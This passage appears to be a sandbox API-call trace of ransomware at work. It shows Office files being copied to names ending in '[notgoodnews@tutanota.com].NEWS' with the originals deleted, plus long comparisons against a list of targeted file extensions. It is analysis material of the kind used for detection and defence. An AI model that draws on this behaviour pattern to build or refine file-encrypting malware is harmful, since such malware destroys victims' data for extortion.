dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.056] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0196.057] GetLastError () returned 0x0 [0196.057] ReadFile (hFile=0x388, lpBuffer=0x30ae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fecc, lpOverlapped=0x0) Thread: id = 95 os_tid = 0xff0 [0190.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x31b0048 [0190.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x31c0050 [0190.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c2008 [0190.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x6bbe90 [0190.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c2020 [0190.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x32b9020 [0190.878] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c2200 [0190.878] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c2200, Size=0x20) returned 0x69dc38 [0190.878] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c20b0 [0190.878] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c20b0, Size=0x20) returned 0x69dc60 [0190.879] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.879] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.879] Wow64DisableWow64FsRedirection (in: OldValue=0x2bcff50 | out: OldValue=0x2bcff50*=0x0) returned 1 [0190.879] lstrlenW (lpString="kernel32.dll") returned 12 [0190.879] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dc38 | out: hHeap=0x660000) returned 1 [0190.879] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.879] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dc60 | out: hHeap=0x660000) returned 1 [0190.879] Sleep (dwMilliseconds=0x64) [0191.198] Sleep (dwMilliseconds=0x64) [0191.449] Sleep (dwMilliseconds=0x64) [0191.895] Sleep (dwMilliseconds=0x64) [0192.159] Sleep (dwMilliseconds=0x64) [0192.777] Sleep (dwMilliseconds=0x64) [0192.951] Sleep (dwMilliseconds=0x64) [0193.568] Sleep (dwMilliseconds=0x64) [0194.300] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0194.300] lstrlenW (lpString="HH01329_.WMF") returned 12 [0194.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0194.300] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2bcff14 | out: lpFileSize=0x2bcff14*=6016) returned 1 [0194.300] CloseHandle (hObject=0x374) returned 1 [0194.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x220 [0194.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0194.301] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.301] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0194.302] GetLastError () returned 0x0 [0194.302] ReadFile (in: hFile=0x374, lpBuffer=0x32b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bcfecc, lpOverlapped=0x0 | out: lpBuffer=0x32b9020*, lpNumberOfBytesRead=0x2bcfecc*=0x1780, lpOverlapped=0x0) returned 1 [0194.326] WriteFile (in: hFile=0x378, lpBuffer=0x32b9020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2bcfc94, lpOverlapped=0x0 | out: lpBuffer=0x32b9020*, lpNumberOfBytesWritten=0x2bcfc94*=0x1790, lpOverlapped=0x0) returned 1 [0194.329] ReadFile (in: hFile=0x374, lpBuffer=0x32b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bcfecc, lpOverlapped=0x0 | out: lpBuffer=0x32b9020*, lpNumberOfBytesRead=0x2bcfecc*=0x0, lpOverlapped=0x0) returned 1 [0194.329] WriteFile (in: hFile=0x378, lpBuffer=0x32b9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bcfc94, lpOverlapped=0x0 | out: lpBuffer=0x32b9020*, lpNumberOfBytesWritten=0x2bcfc94*=0xec, lpOverlapped=0x0) returned 1 [0194.329] SetEndOfFile (hFile=0x378) returned 1 [0194.330] CloseHandle (hObject=0x378) returned 1 [0194.330] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.330] SetEndOfFile (hFile=0x374) returned 1 [0194.332] CloseHandle (hObject=0x374) returned 1 [0194.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0194.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0194.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0194.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0194.333] lstrlenW (lpString=".doc") returned 4 [0194.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.333] lstrlenW (lpString=".docx") returned 5 [0194.333] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.333] lstrlenW (lpString=".pdf") returned 4 [0194.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.333] lstrlenW (lpString=".xls") returned 4 [0194.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.334] lstrlenW (lpString=".xlsx") returned 5 [0194.334] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.334] lstrlenW (lpString=".ppt") returned 4 [0194.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0194.334] lstrlenW (lpString=".zip") returned 4 [0194.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.334] lstrlenW (lpString=".rar") returned 4 [0194.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.334] lstrlenW (lpString=".bz2") returned 4 [0194.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.334] lstrlenW (lpString=".7z") returned 3 [0194.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0194.335] lstrlenW (lpString=".dbf") returned 4 [0194.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0194.335] lstrlenW (lpString=".1cd") returned 4 [0194.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0194.335] lstrlenW (lpString=".jpg") returned 4 [0194.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0194.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0194.335] lstrlenW (lpString=".doc") returned 4 [0194.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.335] lstrlenW (lpString=".docx") returned 5 [0194.335] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.335] lstrlenW (lpString=".pdf") returned 4 [0194.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.335] lstrlenW (lpString=".xls") returned 4 [0194.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.335] lstrlenW (lpString=".xlsx") returned 5 [0194.335] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.335] lstrlenW (lpString=".ppt") returned 4 [0194.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0194.335] lstrlenW (lpString=".zip") returned 4 [0194.335] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.336] lstrlenW (lpString=".rar") returned 4 [0194.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.336] lstrlenW (lpString=".bz2") returned 4 [0194.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.336] lstrlenW (lpString=".7z") returned 3 [0194.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0194.336] lstrlenW (lpString=".dbf") returned 4 [0194.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0194.336] lstrlenW (lpString=".1cd") returned 4 [0194.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0194.336] lstrlenW (lpString=".jpg") returned 4 [0194.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.337] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0194.337] lstrlenW (lpString="HH01461_.WMF") returned 12 [0194.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0194.338] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2bcff14 | out: lpFileSize=0x2bcff14*=5958) returned 1 [0194.338] CloseHandle (hObject=0x374) returned 1 [0194.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x220 [0194.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0194.339] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.339] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0194.836] GetLastError () returned 0x0 [0194.836] ReadFile (in: hFile=0x374, lpBuffer=0x32b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bcfecc, lpOverlapped=0x0 | out: lpBuffer=0x32b9020*, lpNumberOfBytesRead=0x2bcfecc*=0x1746, lpOverlapped=0x0) returned 1 [0194.837] WriteFile (in: hFile=0x378, lpBuffer=0x32b9020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2bcfc94, lpOverlapped=0x0 | out: lpBuffer=0x32b9020*, lpNumberOfBytesWritten=0x2bcfc94*=0x1750, lpOverlapped=0x0) returned 1 [0195.151] ReadFile (in: hFile=0x374, lpBuffer=0x32b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bcfecc, lpOverlapped=0x0 | out: lpBuffer=0x32b9020*, lpNumberOfBytesRead=0x2bcfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.151] WriteFile (in: hFile=0x378, lpBuffer=0x32b9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bcfc94, lpOverlapped=0x0 | out: lpBuffer=0x32b9020*, lpNumberOfBytesWritten=0x2bcfc94*=0xec, lpOverlapped=0x0) returned 1 [0195.151] SetEndOfFile (hFile=0x378) Thread: id = 96 os_tid = 0xff4 [0190.879] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x31d0728 [0190.880] lstrlenW (lpString="C:") returned 2 [0190.880] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2d0fcf8 | out: lpFindFileData=0x2d0fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x67a5b8 [0190.880] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0190.880] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0190.880] lstrlenW (lpString="$GetCurrent") returned 11 [0190.880] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0190.880] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x31e0730 [0190.881] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0190.881] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x67a478 [0190.881] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0190.882] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0190.882] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0190.882] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0190.882] lstrlenW (lpString="Logs") returned 4 [0190.882] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0190.882] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0190.883] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0190.883] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a878 [0190.884] FindNextFileW (in: hFindFile=0x67a878, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.884] FindNextFileW (in: hFindFile=0x67a878, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37848b9e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37848b9e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37895095, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DOWNLE~1.NEW")) returned 1 [0190.884] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[notgoodnews@tutanota.com].NEWS") returned 81 [0190.884] lstrlenW (lpString=".1cd") returned 4 [0190.884] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0190.884] lstrlenW (lpString=".3ds") returned 4 [0190.884] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0190.884] lstrlenW (lpString=".3fr") returned 4 [0190.884] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0190.885] lstrlenW (lpString=".3g2") returned 4 [0190.885] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0190.885] lstrlenW (lpString=".3gp") returned 4 [0190.885] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0190.885] lstrlenW (lpString=".7z") returned 3 [0190.885] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0190.885] lstrlenW (lpString=".accda") returned 6 [0190.885] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0190.885] lstrlenW (lpString=".accdb") returned 6 [0190.885] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0190.885] lstrlenW (lpString=".accdc") returned 6 [0190.885] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0190.885] lstrlenW (lpString=".accde") returned 6 [0190.885] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0190.885] lstrlenW (lpString=".accdt") returned 6 [0190.885] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0190.885] lstrlenW (lpString=".accdw") returned 6 [0190.885] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0190.885] lstrlenW (lpString=".adb") returned 4 [0190.885] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0190.885] lstrlenW (lpString=".adp") returned 4 [0190.885] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0190.885] lstrlenW (lpString=".ai") returned 3 [0190.885] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0190.885] lstrlenW (lpString=".ai3") returned 4 [0190.885] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0190.885] lstrlenW (lpString=".ai4") returned 4 [0190.885] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0190.885] lstrlenW (lpString=".ai5") returned 4 [0190.886] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0190.886] lstrlenW (lpString=".ai6") returned 4 [0190.886] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0190.886] lstrlenW (lpString=".ai7") returned 4 [0190.886] lstrcmpiW (lpString1=".ai7", lpString2="NEWS") returned -1 [0190.886] lstrlenW (lpString=".ai8") returned 4 [0190.886] lstrcmpiW (lpString1=".ai8", lpString2="NEWS") returned -1 [0190.886] lstrlenW (lpString=".anim") returned 5 [0190.886] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0190.886] lstrlenW (lpString=".arw") returned 4 [0190.886] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0190.886] lstrlenW (lpString=".as") returned 3 [0190.886] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0190.886] lstrlenW (lpString=".asa") returned 4 [0190.886] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0190.886] lstrlenW (lpString=".asc") returned 4 [0190.886] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0190.886] lstrlenW (lpString=".ascx") returned 5 [0190.886] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0190.886] lstrlenW (lpString=".asm") returned 4 [0190.886] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0190.886] lstrlenW (lpString=".asmx") returned 5 [0190.886] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0190.886] lstrlenW (lpString=".asp") returned 4 [0190.886] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0190.886] lstrlenW (lpString=".aspx") returned 5 [0190.886] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0190.886] lstrlenW (lpString=".asr") returned 4 [0190.886] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0190.887] lstrlenW (lpString=".asx") returned 4 [0190.887] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0190.887] lstrlenW (lpString=".avi") returned 4 [0190.887] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0190.887] lstrlenW (lpString=".avs") returned 4 [0190.887] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0190.887] lstrlenW (lpString=".backup") returned 7 [0190.887] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0190.887] lstrlenW (lpString=".bak") returned 4 [0190.887] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0190.887] lstrlenW (lpString=".bay") returned 4 [0190.887] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0190.887] lstrlenW (lpString=".bd") returned 3 [0190.887] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0190.887] lstrlenW (lpString=".bin") returned 4 [0190.887] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0190.887] lstrlenW (lpString=".bmp") returned 4 [0190.887] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0190.887] lstrlenW (lpString=".bz2") returned 4 [0190.887] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0190.887] lstrlenW (lpString=".c") returned 2 [0190.887] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0190.887] lstrlenW (lpString=".cdr") returned 4 [0190.887] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0190.887] lstrlenW (lpString=".cer") returned 4 [0190.887] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0190.887] lstrlenW (lpString=".cf") returned 3 [0190.887] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0190.887] lstrlenW (lpString=".cfc") returned 4 [0190.887] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0190.888] lstrlenW (lpString=".cfm") returned 4 [0190.888] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0190.888] lstrlenW (lpString=".cfml") returned 5 [0190.888] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0190.888] lstrlenW (lpString=".cfu") returned 4 [0190.888] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0190.888] lstrlenW (lpString=".chm") returned 4 [0190.888] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0190.888] lstrlenW (lpString=".cin") returned 4 [0190.888] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0190.888] lstrlenW (lpString=".class") returned 6 [0190.888] lstrcmpiW (lpString1=".class", 